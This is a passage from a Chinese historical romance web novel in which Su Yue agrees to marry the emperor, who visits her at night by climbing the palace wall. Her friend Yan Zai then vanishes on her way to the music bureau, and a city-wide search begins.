这就是婚姻的?未卜之处,民间夫妻有没有第三人?或许还可商讨,帝后之间中途加入的?人?,必会随着时?间推移越来越多。就好?比两片琉璃,紧贴在一起时?可以肝胆相照,中间隔上一层纱,朦胧些,再隔上一层,影影绰绰。当纱越来越厚,就再也看不见对方了,天长日久,记忆模糊,那个人?也就彻底消失了。 唉,所以她还是怕啊。想得太多不好?,但又怎么能去不想,辜娘子偶尔也是个多愁善感的?小?女郎。 忧愁不能吐露,也不想给爹娘招来烦恼,但阿爹总与她步调一致,她没开口?,阿爹倒发?愁了,“聘了皇后,后头就大开方便之门了吧,上都许多名门望族,都等着往宫里送人?呢。” 辜夫人?见势不妙,忙打断了他,“杞人?忧天,你就是这样毛病,又来了!” 辜祈年觉得很冤枉,“我哪次忧错了,你倒是……” 话?没说完,就被?强行拽走了,辜夫人?嘟囔道:“别啰嗦了,快回去吧。回家预备预备,明日苏意出阁,早就下了帖子请你,你好?意思光去吃席,不提前搭把?手?” 夫妇俩坐进车舆内,临走打起窗帘问:“明日三叔府上的?婚宴,你去是不去?” 苏月说不去,“我都把?人?家新郎官打了,人?家心里不知怎么怨我呢,我还去干什么,会招人?白眼的?。” 对于好?了伤疤忘了疼的?人?,转过头来反咬你一口?是常事。她不想去,爹娘也不逼她,辜夫人?道:“我替你致个歉吧,就说你公务忙,抽不出空来。三郎家要是阴阳怪气?,我也不在那儿呆,立时?就回家。” 后来又吩咐了两句,辜家夫妇才?离开。苏月回到梨园,没头没脑的?事务太多,要开始筹备立冬的?祭祀大乐了。乐府送来三首新谱的?曲子,大家聚在一起,让银台院的?乐工们试奏。曲子自然都是好?曲,不过有零星地方需要改调,意见是可以提的?,但得在谱曲人?同意的?情况下进行。因此那两首先退回去,剩下那曲却是起承转合,细致入微,仔细一问,才?知道是青崖的?手笔。 说起青崖,颜在不免要追问,“近来怎么没见嬴大人??往常都是他送乐谱,这两回却没再见到他。” 乐丞说:“嬴大人?近来身体很不好?,昨日还咳血了。手上的?差事办不了,托付我替了他。”说着又去问载谱的?文书,“都抄录下来了吗?若没有旁的?吩咐,我这就回去了,让乐匠修改妥当了再送来。” 乐府的?人?走了,颜在惴惴难安,问苏月:“你听见了吗,他说青崖病了,咳血了……那可怎么办?他家里一个人?都没有,只剩他自己,病了也无人?照顾,我实在放心不下。” 对于青崖,苏月自然极为同情,略思忖了下道:“你若不放心,就去看看吧。我今日还有事要忙,恐怕不能陪你,明日行吗?明日我把?事情都安排好?,一早就同你去乐府。” 颜在却有些等不及,心焦道:“这种病症,怕是夜里发?作得更厉害。今日我先去,你且忙你的?,不用惦记那边。等我回来再把?情况告知你,若是需要好?的?大夫,恐怕又要麻烦你,去向陛下借位御医。” 苏月说好?,也实在是撂不下手上的?差事,便让太乐丞取了出门的?牌子交给颜在,“有什么需要,打发?人?回来传话?。” 颜在点了点头,急急出门去了,苏月便把?这件事抛下了。 临近年尾,梨园确实太忙,下月除了冬至祭祀,还有外?邦派遣的?乐人?来大梁交流声乐。这种机会对梨园来说很要紧,势必得拿出看家的?本事,展现中原大国的?风范。定曲、筛选人?员,苏月忙到很晚才?回官舍,一路上只觉头重脚轻,两眼发?花,只想快些倒在床上睡死?过去,明日的?事明日再说吧。 可走到官舍门前,冒出一股不祥的?预感,忽然觉得一切没那么简单,门内不会有人?正等着她吧! 伸出一根指头小?心翼翼推门,门吱扭一声开了,里面黑洞洞地,就着月光看,从桌前到床上,幸好?空空如也。 她犹不放心,走到衣柜前打开门,左左右右仔细搜寻了一遍。看完觉得自己有点好?笑,边合门边自言自语:“又不是灰尘,怎么能藏在里头找不到……” 结果话?音方落,身后一个声音响起,“你莫不是在找朕?” 苏月吓得惊叫,毛发?都竖起来,没头没脑捶了他好?几下,“忽然蹦出来,要吓死?我吗!” 他挨了打,揉揉胸口?,嘴里嘟囔着:“脚步声那么大都没听见,可见你脑子里想的?全是朕。结果朕来了,你又不高兴,女郎都像你这么奇怪吗?” 苏月蹙眉看着他,很生气?吗?倒也并不。只是觉得这人?一如既往讨嫌,至少等她坐下来再出现,也不会让她受如此大的?惊吓。 当然,惊吓完冷静下来,回忆又像潮水一样迎面拍打,让她感觉极度尴尬。缓解尴尬的?办法就是故作镇定,把?一切都忘了,便没事人?般比了比手,“陛下请坐。” 两两对坐,连蜡烛都没点,借着外?面的?月光,能看见对方黑黢黢的?轮廓。 苏月尽量让话?题轻松些,随口?问了句:“陛下从哪条路来?走的?青龙直道吗?” 皇帝说不是,“走你的?巷道。”知道她要问锁着门怎么进来,不等她开口?,直截了当告诉她,“翻墙。” 苏月半张着嘴,“宫墙那么高,有四个我这么高,你徒手翻过来,我怎么不大信呢?” 他一哂,“谁说徒手?朕随身带了把?梯子,再加上好?身手,翻过宫墙易如反掌。” 苏月再一次震惊了,果然你有张良计,他有过墙梯。皇帝陛下是懂得变通的?,世上没有难以解决的?问题,只要放得下身段,一切都可迎刃而解。 但这次他来,不是和她讨论怎么翻墙的?,黑暗中他的?语调沉冷,“听说今日太后向令尊和令堂提亲了,这件事定下了,是吗?” 苏月脸上发?烫,回答得十分沉着体面,“确有其事。家君和家慈觉得有可商谈的?余地,已经应下了。太后说先过五礼,再论其他。” 皇帝“哦”了声,“不是娘子亲口?应下的??” 苏月不由腹诽,真是哪壶不开提哪壶,自己当时?都被?太后当面追问了,还有回避的?可能吗?他把?一切都打探明白了,再来明知故问,完全是为增强自信。自己是个实诚人?,做过的?事也不抵赖,爽朗地应道:“是我亲口?应下的?,怎么样吧。” 用最拽的?语气?,说着最色厉内荏的?话?,皇帝觉得她简直可爱透了。 “你说你早就将朕当成可以依靠终身的?对象,早就心悦朕了,那为什么你从来不曾对朕说过?”黑暗隐藏了他咧开的?嘴,和微微湿润的?眼眶。有种高兴叫喜极而泣,皇帝觉得自己已经到了边缘,就要忍不住了。 苏月再次迷茫了,回忆一下自己说过的?话?,迟疑道:“我没说心悦你啊,这是你自己的?臆想,还是太后告诉你的??” 他有点苦恼,“你这人?,端的?是会扫兴。都已经答应亲事了,心悦一下又能怎么样,非弄得这么一清二?楚吗?” 苏月感觉自己的?脑子转不过弯来了,论理是他家提亲,自己答应,为什么现在有种被?倒打一耙的?感觉?难道就因为当时?他不在场吗? “不是我喜欢一清二?楚,我只是觉得一桩归一桩,不能歪曲事实。” 于是他使出了杀手锏,“你亲了朕,这是事实吧?你还摸了朕,这也是事实吧?” 苏月张口?结舌,无法反驳。 正在搜肠刮肚想招数的?时?候,忽然见那团黑影朝她袭来。在她还没反应过来时?,飞快在她唇上亲了一下,然后羞涩地告诉她:“朕也心悦你,其实你不是单相思,不要不好?意思了。” 第58章 第 58 章 这个不要脸的人, 居然趁她不备,做出这种?事来! 苏月气得直咬牙,一把捂住了嘴, 声音从?指缝中传出来, “你怎么又?亲我?!” 对面的人很无辜, “什么叫又?亲你?上回是你亲的朕,辜娘子。这回朕为了安慰你, 让你不要太过羞臊,才回亲了你一下, 你可不要不知?足。” 话虽这样说, 黑暗中还是红了脸。 他们?这算确定关系了吧?亲来亲去,还有任何理由否认吗?他到这时才敢相信一切都是真的,中晌太后派人过来通禀, 说辜家答应求婚了, 他一时愣在那里, 简直怀疑自己听错了。 辜家夫妇奉召入掖庭,本以为只是太后善意的会面, 打好关系而已,不想老母亲竟是如此雷厉风行的人,头一次见面, 就快刀斩乱麻敲定了此事。是上天眷顾他吧, 本来还在为昨日?马车里的种?种?感到难堪, 结果转过天来,他与她变成?名正言顺的了。那么被?她亲也好,被?她摸也罢, 都是理所当然的,就算是即刻献身, 他都不带半点犹豫的。 同理作为婚姻的另一方,她也一定觉得自己是属于?他的,些?微的亲密举动,是促进感情的良方。 皇帝自我?开解过后,很快把她的不满归为了害羞。女郎脸皮薄,娇嗔抱怨两句太正常了,并且他也很为自己的机灵感到骄傲,居然能在光线如此不明朗的情况下,精准找到她的嘴唇,就像倦鸟归巢。 反正那唇瓣和他记忆里的一样,又?香又?软,隐隐还带着点甜。美中不足在于?没敢过多逗留,害怕她又?捶他。毕竟婚事只是口头上说定,大礼没过,婚书也没交换,他纵然再爱不释手?,也不能太放肆。 不过回味再三?,心花怒放,他悄悄摸了摸自己的嘴唇,觉得心都要蹦出来了。 朦胧中看见她站起身,似乎是要点灯吧!他有点不自在,出言阻止,“暗处呆得太久,适应不得太亮的光。你我?就这样说话,有夜色掩护,朕的胆子才能大些?。” 苏月起先还有点恼他,听他这么坦率,不高兴的劲儿就消散了。原来他也需要夜色壮胆,刚好她也一样。 她支吾了下,“内敬坊的排演刚结束,官舍内外有人来往……我?不是想点灯,是想关门。” 早说啊,话音方落,他飞快起身关上门,又?很快坐回来,沉声道:“好了,这下你可以对朕为所欲为了。” 这人自以为是的毛病,这辈子怕是治不好了。苏月早就习惯了,竟然不觉得有什么失当。 遥想当初,他在徽猷殿里犯病,她受命去照看他,当时为表清白,开窗不算还开门。现在呢,短短三?个月罢了,说话得关起门来,不单是因为他夜访被?人发现了不好,更是为了防止他做出刚才那样的蠢事,不小心落了别人的眼。 其实太后说得没错,人的心思会随际遇改变。她还记得前几?天自己打定了主意,要做此人得不到的女郎,谁知?才过了几?天,亲事都定下了。 定下了,倒也不后悔,人要懂得审时度势么。人家非让你做皇后,你以死相争,也太不知?好歹了。 只是说好的先过五礼,他是否也没有异议呢?丑话说在前头,比现上花轿,现扎耳朵眼儿好。 于?是问他,“婚期的事,太后与你说了吗?我?没想立时成?亲,我?还有许多想法没有实行,陛下等得吗?” 他倒是很开明,“朕已经等了四年,不在乎多等一阵子。你先去做你想做的事,朕与太后也说过,让你先做自己,再来做朕的皇后。” 他这么大度,苏月反倒愧疚了,“我?是不是有点过分了?陛下对我?,好像太宽容了。” 皇帝听得发笑?,“朕这人,难得宽容,把仅有的宽容留给?枕边人,不是理所应当的吗?” 张嘴就是枕边人,这近乎套得令人费解。苏月别扭地提醒他,“在我?面前胡言乱语就算了,出去不能同别人说起。” 皇帝问为什么,“难道朕向着谁,需要偷偷摸摸吗?” 他是根蜡烛,不点不亮。苏月道:“还没成?亲,不能说成?亲后才能说的话。君子当发乎情止乎礼,你就算再爱慕我?,也不能明目张胆把偏爱做在脸上,您可是大梁万人之上的皇帝陛下啊。” 啊,爱慕她。他这才想起来,两个人每每为究竟是谁爱慕谁,而绞尽脑汁构陷对方。但到了此刻,他忽然觉得所谓的面子已经不太重要了。被?拒婚后仍旧放不下的从?来都是他,就算他多次死不承认,事实也如秃子头上的虱子,一目了然啊。 不挣扎了,他认命地说:“言之有理,朕爱慕你。” 这天上一句地上一句的表白,让苏月有点回不过神来。震惊之后却有一种?尘埃落定的踏实感,她何尝不知?道他喜欢自己,不过从?来不肯承认,他就是根阴沉木做成的棒槌。 无人得见处,她的唇角悄悄仰了起来,“那说定了哟,婚期再议。” 他“嗯”了声,很有男人一语定乾坤的魄力。 毕竟来前,太后已经同他谈过这事了,太后语重心长?说:“阿娘上了岁数,不知?还能再活几?年。有生之年娘想看见你们?拜堂成?亲,开枝散叶,珩儿,你能答应为娘吗?” 他素来孝顺,安抚太后,“您无病无灾,定能长?命百岁的。太医院近来新募了几?名好太医,明日?让他们?轮流为阿娘诊脉。” 太后有点苦恼,“我?说的是这个吗?我?在说你们?成?亲的事,你同我?扯什么太医啊?” 他当然知?道母亲的意思,掖着两手?,正色道:“前阵子朝中也有臣僚催促儿早立皇后,朕许诺过他们?,三?十岁前定会生儿育女的。阿娘莫急,儿今年二十七,还有三?年……” 把太后气得头昏眼花,原来立春之约是敷衍老母亲的,他和那些?大臣另有章程,一下子又?延后三?年,找谁说理去? 太后说:“权珩,我?没你这样的儿子,但你爹是你亲爹。下回上太庙祭拜他,多磕两个头,就说你继承了他的衣钵,已经青出于?蓝而胜于?蓝了。” 太后可说气得够呛,本来打算让他和苏月好生商量,必要的时候再使些?小手?段的,结果他半点也不着急,甚至又?给?自己放宽了年限。 所以必须给?他下最后通牒,“明年惊蛰之前,你须得给?我?一个说法。我?已经多宽限了你一个月,你若是再拖延,这掖庭我?也不住了,搬到太庙去,日?日?哭你那死去的阿爹。” 皇帝只得赔笑?答应,先敷衍过当下,后面的事可以再作打算。通常来说母亲都是极好打商量的,且太后也不是那么守旧的人,就算自己不擅哄骗女郎的顽疾随了高祖,永不言败的精神,不也深得太后的真传吗。 总之很欢喜,订婚之外无大事,再也不必担心苏月两眼炯炯,一只看裴忌,一只看权弈了。 “太后定好了日?子,本月二十八过大礼,到时候朕亲自去。”背光而坐的皇帝,回忆起往事很有些?唏嘘,“还记得你向朕讨章子那回吗?朕那时候想,干脆把凤印提前给?你算了,何必弯弯绕绕兜圈子。” 这就是心里喜欢一个人,想把所有好东西都给?她。那凤印其实不是皇后至宝,而是他确认身份,用来托付自己的重器啊。 即将名花有主的皇帝,这回说话好像长?进些?了,至少?没再捅人肺管子。苏月聊感欣慰,下半晌忙碌致使身心俱疲,原本回到官舍就睡的计划被?他打乱了,也没让她窝火生气。 她甚至和颜悦色地同他打趣,摸摸自己的脸道:“怪我?过分美丽,就算再怎么推诿,也还是让人念念不忘,所以陛下才对我?格外好。” 结果他自作聪明地追加了一句,“朕对你好,不是因为你长?得美,而是敝帚自珍啊。” 听得苏月一口气上不来,这个人,果真是没救了。 “我?这样的女郎,哪里‘敝’了?你再惹我?不高兴……”她气咻咻说,“太后说要我?当儿媳,可没说一定当大儿媳。” “什么?”他惊诧,“你果然还惦记二郎!” 真是个人身牛头的家伙,苏月不想给?他好脸色了,寒声道:“陛下告退吧,我?要睡觉了。” 他蹙眉道:“没我?的觉你也睡不明白,别睡了,再说会儿话吧。” “说你打算怎么气死我?吗?”她恫吓道,“二十八才下定,还有好几?日?光景,我?有余地反悔,你知?道吧?” “别别……”他立刻服了软,放低姿态说,“朕不想再节外生枝了,朕年纪不小了,想找个好归宿,余生有人心疼。早前朝中臣僚催婚,朕说三?十岁前定会生子,总不能当真等到那时候。你知?道外面成?婚早的,三?十岁孙子都会爬了,朕还孑然一身,太不像话了。毕竟大梁江山要传承,拼死拼活打下的天下拱手?让人,你舍得?” 这番话真诚中透着反思,又?好像没到病入膏肓的阶段。反正余生还有生不完的气,这次就往后顺延吧。 探出手?摸摸索索,她问他:“你渴不渴?我?给?你倒水喝。” 外面的月光透亮,穿过窗纸照进来,照在她青白的手?上。那手?纤柔匀称,正要从?茶盘中取杯子,中途被?他抓住了。他什么话都没说,握紧她不放,两条臂膀横亘在桌面上,像断了的鹊桥,重又?接上了。 苏月心头砰砰直跳,彼此间的关系突飞猛进,好像昨天还在互相嫌弃,怎么今天就非卿不可了。再细思量,又?有会心的微笑?,自从?他们?头一回相见,他把自己的斗篷送给?了她,就注定这场相逢不平常。嫌弃归嫌弃,嫌弃中夹带着一点喜欢,感情才不显得单调。 “你的官舍,好像有些?冷清。”皇帝自觉时机成?熟了,提出了非分的要求,“要不要搬到徽猷殿去住?不是和朕住一起,你住东边,朕住西边。天要凉了,一个人清锅冷灶多寂寥,夜里没人说话,还缺人伺候。朕已经命国用给?你物色好了三?位长?御,给?她们?取了简单好记的新名字,你不想去见见吗?” 心思又?细腻上了,不过居心有点叵测,苏月说不好,“梨园里事多,万一半夜找我?找不见,麻烦得很。再说婚期都没定,我?是不会上当的,陛下就别白费心机了。”说着要抽手?,抽了两下没成?功,只得耐住性子又?问,“那些?长?御是哪儿找来的呀?我?认得吗?” 皇帝知?道她担心什么,“不是好望山的女侍,你不喜欢的那些?女郎都给?分派到了别处,想回去的也都放回去了。这三?人是宫里有些?资历的女官,朕让国用潜心考验了月余,不管是人品才学,还是办事的手?段,都是宫人中的佼佼者,服侍你正合适。” 苏月抬眼看了看对面朦胧的脸庞,“月余前就开始物色长?御了,陛下真是势在必得啊。” 皇帝笑?了笑?,“谁说不是呢,像朕这么体贴入微的郎子,上哪里去找?朕敢断言,就算任你挑选,你也挑不出第二个来。朕年富力强,有个不错的好身板,哪怕忙到半夜也不忘抽空想你,足见朕用心良苦。” 说起好身板,就想起他上回病倒的样子。苏月问:“那个旧伤,后来可曾复发过?” 皇帝说没有,“淮州踅摸的土方子很管用,朕觉得病灶边缘的僵块慢慢缩小了,摁上去也不怎么痛了……你要看么?朕脱了衣裳给?你看。” 他说着真要宽衣解带,吓得苏月忙揪住了他的衣襟,“不用不用,没再发作就好。” 她似乎很尴尬,皇帝低头道:“有什么不好意思的,以前看过,以后也会常看。” 苏月又?忍不住想打他了,“虽然婚事议准了,但我?还不曾嫁给?你呢,你再这么不见外,下回可别跟我?回家了。” 这个后果很严重,不去岳丈家,郎子当着还有什么意思! 他只得悻悻掖好了交领,还不忘叮嘱她一句:“若是哪天想关心朕了,不要讳言,只管同朕说,朕随时可以放你参观。” 真是大方,大方得让人无话可说,苏月叹息着拱手?,“多谢陛下。” 皇帝总能从?细微处发现问题,和蔼地说:“往后别叫陛下了,显得多生分,朕还是喜欢家常一些?。” 家常的称呼?要多家常?苏月问:“叫名字么?权珩?权大?还是至正?” 他说:“朕的名字不能随便叫,连名带姓,让朕想起那个缺德的武都侯。小字也不能叫,你又?不是我?阿爹。还有权大……这是什么称呼,难道朕是杀猪的吗?” 所以看见了吧,这人有多麻烦,什么都不能叫,那到底该怎么称呼他? “你说吧。”苏月如今连“您”都不愿意说了,心下觉得权大最顺口。 那人支支吾吾,终于?仗着她看不清他的脸,提出一个骇人听闻的建议,“叫爱郎吧。” 苏月险些?崴倒,晚间吃的饭几?乎都要吐出来了,惊悚地说不,“我?死都不会这么叫的,你不想让我?活命了,我?知?道,你想害死我?。” 他很委屈,“好些?人都是这么称呼的,为什么到你这里就不行?” 苏月说我?绝不,“我?还要脸,还要在这世上活下去,你敢这么坑害我?,我?与你不共戴天!” 罢了罢了,都不共戴天,还怎么生儿育女。 他是个善于?退让的人,叹息道:“听你的意思吧,你觉得怎么称呼才显得既庄重,又?不疏远?” 苏月说:“就唤大郎,让我?想起四年前被?我?阿爹婉拒的那位郎君,骑在马上威风凛凛,却连媳妇都讨不上。” 还好没点灯,看不见对面那人阴沉的脸,只听他抱怨:“辜苏月,朕发现你当真很猖狂,老提以前的事做什么,朕现在当皇帝了。” “好好好。”她安抚不迭,“好汉不提当年勇,不说了。那就叫大郎吧,很是庄重,也很亲切。” 皇帝嘟嘟囔囔,“太后才这么唤朕……” “陛下。”她好心地提供了参考。 果然他很快就作出了选择,“还是叫大郎吧。” 苏月转过身,翘起兰花指一指窗外,“更深露重啊大郎,回宫去吧,带上你的梯子。” 他愈发迟迟了,以前分别就有说不出的留恋,这回要定亲了,更加留恋得理直气壮。 “苏月……”他叫得很缠绵,“朕再坐一会儿。” 苏月浑身鸡皮疙瘩乱窜,“耽搁得太晚有损龙体康健,回去吧,批一会儿奏疏,再让国用给?你煮碗参汤。” 几?乎是连拖带骗地,把他弄到了门前,还不敢立时开门,怕官舍外有人经过,遇见了不好看。 她探出脑袋,左右观望,确定没人了才把他拽出来。他甚为不解,“你贼头贼脑干什么,朕有那么见不得人吗?” 她回头看了他一眼,“半夜三?更从?房里出来个男子,凭你是谁都不成?体统。况且这里是西隔城,内敬坊的所在,里外全是女郎。”上下打量了他一通,“自重!” 皇帝没办法,被?她押送到了小门前,两手?扒住门扉问:“你何时来看朕?朕这两日?有些?忙,朝中有议案,西南又?有地动,恐怕没有时间过来。” 苏月想了想道:“我?这两日?也忙,等手?上的事一放下,立时就去瞧你。好了,别站在这里了,快回去吧,我?要锁门了。” 他无可奈何,惆怅地叹了口气,脑子一抽就是一个想法,“那朕再亲亲你吧。” 结果显而易见,苏月推了他一把,在他恋恋不舍的凝视下,反手?锁上了门。 耳朵贴在门板上听,想看他有没有离开,却是半天没听见声响,她知?道,他还站在那里。 “走?吧。”她又?催促,“你不走?,我?可走?了。” 门外的人徘徊了片刻,这才慢慢离开。苏月听着脚步声去远,忽然觉得有点好笑?,英明神武万人敬仰的皇帝陛下,想娶亲的时候也和常人一样粘缠。 人送走?了,她终于?可以洗洗睡了。今天太忙碌,骨头要散架,所以一挨着床板就睡着了。 等到第二日?,又?要预备霜降那日?的乐工选拔,呈报上来的名册里,苏云的名字赫然在目。与她一起的还有另外三?十八人,这是梨园设立以来,头一回有乐师主动想入园。可见梨园的名声终于?变得正向,再也不会有人将它与前朝的教坊相提并论了。 大家聚在一起商讨考核的曲目,苏月转头问园内宰:“朱娘子回来了吗?” 内宰说没有,“通行的令牌还没还回来,护送的人也不曾见到。” 苏月便没放在心上,想必青崖病得严重,颜在暂且撂不下吧。 可是等到将要傍晚,还是一点消息也没有,她忽然有些?不安了。心里一直悬着,也集中不了精神再忙别的,便让人套好马车,急急赶往了乐府。 第59章 第 59 章 乐府与梨园虽然同属太常寺, 但因为职能不同,官衙所在的位置也相?隔较远。 沿着护城河一路往南,经?过道道官署, 须得走上两炷香时间, 才能抵达协律坊。苏月之前没有来过这里, 到了?乐府大门前,放眼?看, 占地比圆璧城小了?一大半。还是因为乐府以谱曲为主?,各色乐师并不作表演之用, 都是专用作试曲的。从上到下人数总共大约只?有百来人, 但府衙的规格很高,光是门楼排场,就比梨园要?高出?许多。 当然乐府的规矩也森严, 门上有专人把守, 见?了?来人便拦阻, 要?名刺,让自报家门。 苏月拱了?拱手, “梨园辜苏月,前来拜会?乐监嬴大人。” 梨园使辜大娘子的名气,如今还有人不知道吗?守门的一听, 棺材板似的脸立刻绽开了?热情的笑, 点头哈腰招呼, “原来是大娘子来了?,恕卑下无礼了?,实在是规矩如山, 请大娘子见?谅。”边说边双手奉还了?名牌,“大娘子快请进, 卑下立刻叫人给大娘子引路。” 苏月道了?谢,正要?打探有没有人来探望过青崖,这守门的一嗓子吼起来:“虾儿?!虾儿?!”吓了?苏月一跳。 可能意识到喊得太大声了?,守门的尴尬一笑,“地方大,引人总是跑得见?不着影子,只?能靠喊。” 苏月说不碍的,一面?又问:“我?们梨园可曾来过一位朱娘子?现在人还在吗?” 守门的回想了?下,摇头道:“梨园这两日并未有人来访,也没有姓朱的娘子。”说罢又一笑,“卑下只?守白日的班,天擦黑了?就换人,兴许是卑下没遇上吧!” 这时叫虾儿?的少?年一纵一跳从巷道里跑来,到了?跟前叉手行礼。守门的便吩咐:“梨园大娘子来探访乐监,你快领着去吧。” 虾儿?应了?声,比手引她?顺着巷道往北。乐府官员的官舍在东北角的长房,因正是下职的当口,往来的属官不少?,纷纷对她?侧目不已。 当然其中也有认识她?的,比如那天的府乐丞,一见?她?就揖手,“这个时辰,大娘子怎么来了??可是有什么公务吗?” 苏月说不是,“我?来瞧瞧乐监,听说他病了?。” 乐丞便上前接应,摆手把虾儿?遣退了?,自己亲自引她?上了?游廊,边走边道:“乐监就住在前头第一间房,今日刚看过大夫,病症据说好多了?。” 青崖的房门虚掩着,轻轻一推便开了?。苏月乘着落日余晖往内看,房里的布置简单素净,一目了?然。青崖披着一件罩衣,正强撑身子坐在桌前倒茶,那张精美绝伦的侧脸,看上去苍白而清瘦。 他听见?动静,转头看过来,一见?是她?,十分意外,忙放下手里的茶壶,歪歪斜斜站起身,“阿姐怎么来了??” 这屋子并不大,屋里有几?个人一眼?便看得见?,除了?青崖之外别无他人。苏月有了?不好的预感,匆匆道:“听说你病了?,我?们都很担心。我?昨日没抽出?空,颜在先来瞧你了?,她?人呢?怎么没见?她??” 青崖一头雾水,“什么时候来的?我?并未见?过她?啊。” 苏月心头顿时大跳起来,“昨日这个时候离开梨园,说好了?来看你的,我?等她?到傍晚,不见?她?回去才来找她?的。你当真没有见?过她??她?真的不曾来过?” 青崖说没有,面?色更加苍白了?,颤声说:“我?这几?日身体?是不好,但却没有糊涂,有没有人来过我?一清二楚。颜在阿姐没有来过,若不信就问乐府的门人。这里没有后门,进出?全从前头走,她?要?是来了?,门房和引路的都会?知道,” 这下真是慌了?手脚,从昨天到现在,整整十二个时辰,颜在就这么莫名其妙不见?了?,连带那个赶车护送的仆妇也消失了?。 苏月心知不妙,定是出?事了?,青崖比她?更惶恐,撑着病体?往外走,用尽力?气唤虾儿?,“你快去问问昨日当值的人,有没有见?过梨园来的小娘子。” 虾儿?说是,撒腿跑了?出?去,不多会?儿?就折返回话,十分肯定地说没有,“前日到现在,没见?梨园来过人。” 苏月心急如焚,转身边走边道,“我?去召集人手,把上都翻个个儿?也要?找 到她?。” 青崖跌跌撞撞跟上来,“我?与阿姐一同去。” 他一副病歪歪的样子,连站都站不稳,更别说找人了?。 苏月只?得先宽慰他,“你留在这里,把病养好,我?得了?消息就差人告诉你。你放心,我?一定想办法找到她?,实在不行就报官,各坊院都有武侯铺,一处处问过去,总会?有人见?过她?。” 青崖摇摇欲坠,脚下踉跄了?几?步,苏月忙一把搀扶住他,把他交给了?乐丞,自己才疾步往乐府大门上去了?。 颜在丢了?,这个消息在梨园炸开了?锅,乐工不能出?去寻找,只?能困守在园内死等。苏月去寻了缇骑,请副尉想办法张罗人手,甚至连皇帝的司隶校尉都动用了?,可找了?一夜,一点消息也没有。 苏月这一夜哪里睡得着,脑子里不知浮现出多少不好的念头来。颜在是和她?一起入梨园的,在上都又没有亲故,更是鲜少与外人打交道。她生来腼腆,胆子小,只?有梨园一个容身之处,能去哪里呢。最怕最怕就是遇见了?歹人,真要?是这样,那可如何是好! 苏月急成了?热锅上的蚂蚁,时间一点点流逝,始终毫无进展。照理说缇骑全城出动,司隶府也在排查,就算她化成了一根针,落进了?砖缝里,也定能把她?找出?来的。但就是那么奇怪,居然没有一个人见过她,仿佛她?是一滴水,就这么凭空蒸发了?。 苏月已经?不知道该怎么办了?,她?在梨园等到次日下午,实在等不及了?,又往乾阳殿去了?一趟。可惜皇帝正与尚书省议政,要?派遣使节出?使外邦,殿里说得热火朝天,她?只?好在西边配殿里等着。 坐不住,便在夹角的游廊上游走,来来回回不知走了?多少?遍。后来没了?力?气,在台阶上坐下来,脑子里乱糟糟地,满心装的都是颜在。 待回过神来时,才发现一个身影站在她?身后,夕阳一照,把影子拉得老长。他说:“你别着急,只?要?人还在上都,就一定能找到。若是挖地三尺还是没有消息,那就只?有两种可能,一是人离开上都了?,二是……” 他本来是想客观与她?阐述事实的,可话还没说完,就迎来她?楚楚的目光,他只?好识趣地转变了?话风,“……二是人被藏起来了?,说不定正好吃好喝地受招待呢。” 这样苍白的安慰,起不到任何效果。苏月知道他没有说出?口的话非常不讨喜,但若是越久没找到人,那么这个可能性?实则越大。 她?抱着膝头把脸埋进了?肘弯里,带着哭腔说:“都怪我?,要?是那天我?陪她?一起去就好了?。多个人在身边,出?了?事也好有商量。” 皇帝觉得她?不该把责任揽到自己身上,“你又不会?未卜先知,她?也不是孩子,人人有事要?忙,谁也不能寸步不离陪着谁。” 话虽如此,苏月还是很难过,“她?自小父亲就过世了?,是她?母亲独自把她?抚养长大的。原本被征入梨园,已经?很让她?母亲不舍了?,要?是再有个三长两短……” 皇帝叹了?口气,“朕吩咐下去,让京师周围的驻军抽调出?一部分人手,把上都之外方圆五十里也一并搜查了?,这样行不行?” 她?终于抬起头来,捺了?下唇角说:“多谢你,不因她?只?是个小小的乐工,便放任不管。” 皇帝垂眼?瞥了?瞥她?,“你应当感激你自己,在朕面?前这么有脸面?,又是缇骑又是驻军的,为你寻找朋友。” 大帽子扣上来,就得警觉了?。苏月开始意识到一个问题,那十枚铜钱集满,可能就是她?放弃现在的一切,老老实实回归掖庭的时候了?。于是戒备地问他:“不要?钱吧?我?可是空着手来的。” 结果换来人家一声嗤笑,“事有轻重缓急,朕也不是只?谈钱,不讲人情的人。” 有他亲自下令扩大搜寻的范围,希望便又增加了?好几?成。也许再等一等,马上就会?有消息了?。 苏月垂头丧气回去了?,又等了?两日,还是毫无进展。颜在已经?失踪四天五夜了?,时候拖延得越长,希望越渺茫。有时候她?甚至感到恐惧,害怕有不好的消息传来,害怕颜在遇到了?不测。 姑苏的同乡们坐在一起,大家都很迷惘,各种可能都猜了?一遍,最后楚容蹦出?个念头来,“那个曾经?看上颜在的左翊卫将军,可曾好好盘查过?” 正满心愁绪的众人闻言,顿时眼?前一亮。云罗说对,“怎么把那人给忘了?!那个左翊卫将军不是前朝归降的旧臣吗,前朝的权贵有多丧心病狂,我?们是知道的。既然看上了?颜在,必定没有那么容易放过她?。高门大户守卫森严,只?要?他们想藏人,外面?就算找翻了?天也别想找到,何不让人去他府上搜查,说不定就是他把颜在扣下了?。” 但梅引却不大认同,“一个左翊卫将军,当真有这么大的胆子吗?如今的梨园和以前不同了?,朝廷有明文规定,狎亵乐工者轻则下狱,重则杀头。为了?满足私欲,连命和前途都不要?了??” 可是哪还有别的办法,该动用的人动用了?,该想的辙也都想遍了?,只?差把上都掀翻了?。 苏月沉吟片刻道:“揣测虽没什么依据,但死马当成活马医吧。万一颜在当真落进了?他手里,去得晚了?,就没有活命的机会?了?。” 所以想到便去试一试,苏月去龙光门上找了?副尉,把自己的想法对他说了?。 “事关?重大,我?知道不能胡乱搜查官员宅邸,但我?实在没有别的路可走了?,只?能请副尉替我?想想办法。”她?说着,下了?决心,“事后左翊卫将军必定弹劾我?,我?也做好了?受罚的准备,一切后果由我?承担,请副尉放心前往。” 有她?这句话,副尉的胆子如牛一样大,梆梆拍了?拍胸前的护心甲,“交给卑职,卑职这就去点兵。其实大娘子不用担心,量那个毛脸贼不敢声张。大娘子手上若有把柄,只?管弹压他,听说这阵子朝廷正暗查那些渎职的旧朝武将,他未必没听见?风声。多一事不如少?一事,他不会?在这个当口出?头冒尖的,除非他想在陛下面?前露露脸。” 这番分析,其实在苏月听来并不一定靠谱,但她?急于找到颜在,已经?顾不上那许多了?。 所以就如副尉说的,即刻点兵,很快就赶到了?左翊卫将军的府邸。事先也查探过,他在上都没有别业,要?藏人定然只?在此处。苏月便坐在外面?的马车里静待消息,一群如狼似虎的缇骑冲进去,把将军府的女眷吓得吱哇乱叫,吵成一团。 有人在大喊:“了?不得,抄家了?!主?君……主?君……” 